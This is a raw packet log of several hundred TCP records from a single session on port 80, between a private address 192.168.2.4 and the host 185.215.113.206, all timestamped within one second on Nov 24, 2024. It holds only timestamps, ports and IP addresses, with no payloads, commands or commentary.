Nov 24, 2024 02:13:08.333405018 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:08.333446026 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:08.333491087 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:08.334362030 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:08.334404945 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:08.334439993 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:08.334481955 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:08.387803078 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:08.387855053 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:08.387892008 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:08.387933969 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:08.388309002 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:08.388355017 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:08.388418913 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:08.388462067 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:08.389313936 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:08.389365911 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:08.389406919 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:08.389445066 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:08.390327930 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:08.390376091 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:08.390439987 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:08.390485048 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:08.391350985 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:08.391401052 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:08.391448975 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:08.391489029 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:08.392364025 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:08.392419100 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:08.392453909 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:08.392496109 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:08.393388033 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:08.393429041 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:08.393500090 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:08.393541098 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:08.394396067 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:08.394440889 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:08.394484997 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:08.394536018 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:08.395411015 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:08.395457029 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:08.395502090 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:08.395545006 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:08.396450043 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:08.396498919 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:08.396569014 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:08.396612883 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:08.397444963 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:08.397492886 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:08.397536039 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:08.397583961 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:08.398458958 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:08.398505926 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:08.398575068 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:08.398632050 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:08.399497986 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:08.399544954 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:08.399579048 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:08.399626970 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:08.400499105 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:08.400544882 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:08.400588036 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:08.400635958 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:08.401515961 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:08.401561022 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:08.401640892 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:08.401684999 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:08.402529001 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:08.402575970 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:08.402664900 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:08.402715921 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:08.403548956 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:08.403594017 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:08.403649092 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:08.403695107 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:08.404576063 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:08.404623985 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:08.404702902 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:08.404751062 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:08.405605078 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:08.405653954 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:08.405695915 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:08.405747890 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:08.406625986 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:08.406673908 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:08.406738043 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:08.406786919 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:08.407623053 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:08.407670021 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:08.407746077 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:08.407789946 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:08.408643961 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:08.408689976 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:08.408730984 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:08.408770084 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:08.409687042 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:08.409744978 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:08.409811020 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:08.409857035 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:08.410686970 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:08.410741091 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:08.410780907 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:08.410825968 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:08.411705971 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:08.411756992 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:08.411799908 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:08.411853075 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:08.412756920 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:08.412805080 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:08.412838936 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:08.412883997 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:08.413743973 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:08.413790941 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:08.413825035 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:08.413865089 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:08.453774929 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:08.453834057 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:08.453855038 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:08.453896046 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:08.454291105 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:08.454336882 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:08.454380989 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:08.454426050 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:08.455307007 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:08.455358028 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:08.455380917 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:08.455427885 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:08.456329107 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:08.456382990 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:08.456430912 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:08.456476927 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:08.457339048 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:08.457386017 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:08.457418919 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:08.457465887 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:08.458368063 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:08.458417892 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:08.458458900 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:08.458506107 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:08.459378958 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:08.459428072 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:08.459462881 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:08.459510088 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:08.460532904 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:08.460556030 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:08.460578918 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:08.460602999 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:08.461426973 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:08.461471081 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:08.461610079 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:08.461657047 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:08.462426901 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:08.462471962 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:08.462513924 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:08.462554932 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:08.463447094 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:08.463495016 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:08.463536978 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:08.463576078 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:08.464459896 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:08.464513063 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:08.464554071 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:08.464601994 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:08.465518951 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:08.465569019 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:08.465615988 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:08.465667009 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:08.466507912 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:08.466558933 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:08.466617107 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:08.466665983 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:08.467514038 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:08.467571020 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:08.467627048 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:08.467669010 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:08.468595982 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:08.468640089 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:08.468709946 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:08.468760014 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:08.469561100 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:08.469602108 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:08.469679117 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:08.469728947 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:08.470629930 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:08.470675945 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:08.470704079 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:08.470757008 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:08.471591949 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:08.471640110 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:08.471681118 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:08.471731901 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:08.472620964 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:08.472667933 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:08.472703934 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:08.472760916 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:08.520916939 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:08.520976067 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:08.521020889 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:08.521066904 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:08.521449089 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:08.521506071 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:08.521519899 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:08.521550894 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:08.522443056 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:08.522491932 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:08.522528887 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:08.522573948 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:08.523446083 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:08.523490906 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:08.523540974 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:08.523591042 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:08.524446964 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:08.524497986 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:08.524532080 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:08.524569988 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:08.525486946 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:08.525544882 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:08.525578976 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:08.525630951 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:08.526520967 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:08.526576996 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:08.526618958 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:08.526663065 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:08.579780102 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:08.579838037 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:08.579847097 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:08.579896927 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:08.580255985 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:08.580317020 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:08.580359936 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:08.580401897 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:08.581267118 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:08.581321955 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:08.581675053 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:08.581727028 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:08.581768990 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:08.581810951 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:08.582659960 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:08.582710028 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:08.582767963 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:08.582817078 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:08.583733082 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:08.583786964 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:08.583822966 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:08.583887100 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:08.584700108 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:08.584744930 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:08.584820032 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:08.584862947 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:08.585717916 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:08.585756063 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:08.585824966 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:08.585866928 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:08.586735964 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:08.586775064 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:08.586818933 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:08.586858988 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:08.587748051 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:08.587795019 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:08.587886095 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:08.587929010 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:08.588776112 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:08.588825941 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:08.588865995 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:08.588912964 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:08.589862108 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:08.589886904 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:08.589910030 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:08.589941978 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:08.590810061 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:08.590859890 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:08.590893030 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:08.590939045 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:08.591804028 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:08.591855049 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:08.591933966 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:08.591978073 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:08.592833042 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:08.592885971 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:08.592928886 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:08.592973948 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:08.593871117 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:08.593918085 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:08.593957901 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:08.594000101 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:08.594851971 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:08.594898939 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:08.595169067 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:08.595217943 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:08.595906973 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:08.595952988 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:08.595982075 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:08.596034050 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:08.596982002 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:08.597023010 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:08.598037004 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:08.598053932 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:08.598073959 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:08.598099947 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:08.598153114 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:08.598191023 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:08.598984003 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:08.599021912 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:08.599116087 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:08.599155903 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:08.599973917 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:08.600013971 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:08.600086927 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:08.600127935 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:08.600991011 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:08.601032972 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:08.601070881 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:08.601114988 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:08.602024078 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:08.602073908 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:08.602143049 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:08.602185965 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:08.603010893 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:08.603053093 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:08.603135109 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:08.603178024 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:08.604068995 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:08.604116917 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:08.604150057 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:08.604195118 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:08.605062962 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:08.605110884 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:08.605181932 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:08.605241060 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:08.606059074 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:08.606113911 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:08.645684004 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:08.645747900 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:08.645816088 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:08.645886898 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:08.646151066 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:08.646213055 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:08.646361113 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:08.646414042 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:08.646464109 CET	80	49730	185.215.113.206	192.168.2.4
